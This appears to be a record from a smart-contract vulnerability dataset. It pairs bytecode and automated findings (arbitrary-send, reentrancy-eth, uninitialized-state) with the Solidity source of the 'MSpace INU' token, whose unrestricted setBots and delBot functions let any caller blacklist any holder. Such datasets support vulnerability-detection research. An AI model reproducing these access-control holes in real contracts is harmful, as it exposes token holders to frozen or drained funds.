fffffffffffffffffffffffffffffff16145b612099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b6014548111156120aa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61215757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122025750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122585750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122705750601360179054906101000a900460ff165b156123085742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122c057600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061231330610b28565b9050601360159054906101000a900460ff161580156123805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123985750601360169054906101000a900460ff165b156123c0576123a6816126c4565b600047905060008111156123be576123bd47612545565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124695750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561247357600090505b61247f84848484612a7e565b50505050565b6000838311158290612532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124f75780820151818401526020810190506124dc565b50505050905090810190601f1680156125245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612595600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125c0573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612611600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561263c573d6000803e3d6000fd5b5050565b6000600a5482111561269d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ea6602a913960400191505060405180910390fd5b60006126a7612cd5565b90506126bc8184612a3490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126f957600080fd5b506040519080825280602002602001820160405280156127285781602001602082028036833780820191505090505b509050308160008151811061273957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127db57600080fd5b505afa1580156127ef573d6000803e3d6000fd5b505050506040513d602081101561280557600080fd5b81019080805190602001909291905050508160018151811061282357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061288a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a63565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561294e578082015181840152602081019050612933565b505050509050019650505050505050600060405180830381600087803b15801561297757600080fd5b505af115801561298b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129c15760009050612a2e565b60008284029050828482816129d257fe5b0414612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ef26021913960400191505060405180910390fd5b809150505b92915050565b6000612a7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d00565b905092915050565b80612a8c57612a8b612dc6565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b4457612b3f848484612e09565b612cc1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612be75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bfc57612bf7848484613069565b612cc0565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c9e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cb357612cae8484846132c9565b612cbf565b612cbe8484846135be565b5b5b5b80612ccf57612cce613789565b5b50505050565b6000806000612ce261379d565b91509150612cf98183612a3490919063ffffffff16565b9250505090565b60008083118290612dac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d71578082015181840152602081019050612d56565b50505050905090810190601f168015612d9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612db857fe5b049050809150509392505050565b6000600c54148015612dda57506000600d54145b15612de457612e07565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612e1b87613a4a565b955095509550955095509550612e7987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f0e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fef81613b84565b612ff98483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061307b87613a4a565b9550955095509550955095506130d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061316e83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324f81613b84565b6132598483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132db87613a4a565b95509550955095509550955061333987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354481613b84565b61354e8483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135d087613a4a565b95509550955095509550955061362e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136c385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370f81613b84565b6137198483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000680d8d726b7177a80000905060005b6009805490508110156139ff578260026000600984815481106137d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806138be575081600360006009848154811061385657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138dc57600a54680d8d726b7177a8000094509450505050613a46565b61396560026000600984815481106138f057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ab290919063ffffffff16565b92506139f0600360006009848154811061397b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613ab290919063ffffffff16565b915080806001019150506137b8565b50613a1e680d8d726b7177a80000600a54612a3490919063ffffffff16565b821015613a3d57600a54680d8d726b7177a80000935093505050613a46565b81819350935050505b9091565b6000806000806000806000806000613a678a600c54600d54613d63565b9250925092506000613a77612cd5565b90506000806000613a8a8e878787613df9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613af483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612485565b905092915050565b600080828401905083811015613b7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b8e612cd5565b90506000613ba582846129ae90919063ffffffff16565b9050613bf981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d2457613ce083600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d3e82600a54613ab290919063ffffffff16565b600a81905550613d5981600b54613afc90919063ffffffff16565b600b819055505050565b600080600080613d8f6064613d81888a6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613db96064613dab888b6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613de282613dd4858c613ab290919063ffffffff16565b613ab290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613e1285896129ae90919063ffffffff16565b90506000613e2986896129ae90919063ffffffff16565b90506000613e4087896129ae90919063ffffffff16565b90506000613e6982613e5b8587613ab290919063ffffffff16565b613ab290919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201491b9cd908b54a54562dbe6e1e4da95968197e3241da388f3604eeb7398ef7a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,418
0x235e31a644e0ea524674ddb1a31b0ddc0cdb9873
/** *Submitted for verification at Etherscan.io on 2022-03-28 */ // SPDX-License-Identifier: UNLICENSED /** https://t.me./mspaceinu **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MSpaceINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "MSpace INU"; string private constant _symbol = "MSpaceINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.mul(20).div(1000); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 7; _feeAddr2 = 6; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 7; _feeAddr2 = 6; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb1461030a578063b515566a14610347578063c3c8cd8014610370578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c85780639e78fb4f146102f357610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b60405161013091906121d3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061229d565b610418565b60405161016d91906122f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190612322565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061233d565b610446565b6040516101d591906122f8565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612390565b61051f565b005b34801561021357600080fd5b5061021c61057a565b60405161022991906123d9565b60405180910390f35b34801561023e57600080fd5b50610247610583565b005b34801561025557600080fd5b50610270600480360381019061026b9190612390565b610594565b60405161027d9190612322565b60405180910390f35b34801561029257600080fd5b5061029b6105e5565b005b3480156102a957600080fd5b506102b2610738565b6040516102bf9190612403565b60405180910390f35b3480156102d457600080fd5b506102dd610761565b6040516102ea91906121d3565b60405180910390f35b3480156102ff57600080fd5b5061030861079e565b005b34801561031657600080fd5b50610331600480360381019061032c919061229d565b610aaf565b60405161033e91906122f8565b60405180910390f35b34801561035357600080fd5b5061036e60048036038101906103699190612566565b610acd565b005b34801561037c57600080fd5b50610385610c9a565b005b34801561039357600080fd5b506103ae60048036038101906103a991906125af565b610cb3565b6040516103bb9190612322565b60405180910390f35b3480156103d057600080fd5b506103d9610d3a565b005b60606040518060400160405280600a81526020017f4d537061636520494e5500000000000000000000000000000000000000000000815250905090565b600061042c61042561106b565b8484611073565b6001905092915050565b60006702c68af0bb140000905090565b600061045384848461123e565b6105148461045f61106b565b61050f8560405180606001604052806028815260200161303060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117959092919063ffffffff16565b611073565b600190509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000479050610591816117f9565b50565b60006105de600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611865565b9050919050565b6105ed61106b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106719061263b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d5370616365494e550000000000000000000000000000000000000000000000815250905090565b6107a661106b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a9061263b565b60405180910390fd5b600d60149054906101000a900460ff1615610883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087a906126a7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061091230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166702c68af0bb140000611073565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098191906126dc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c91906126dc565b6040518363ffffffff1660e01b8152600401610a29929190612709565b6020604051808303816000875af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c91906126dc565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ac3610abc61106b565b848461123e565b6001905092915050565b60005b8151811015610c9657600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610b2557610b24612732565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610bb95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610b9857610b97612732565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b8015610c0b57503073ffffffffffffffffffffffffffffffffffffffff16828281518110610bea57610be9612732565b5b602002602001015173fffffffffffffffffffffffffffffff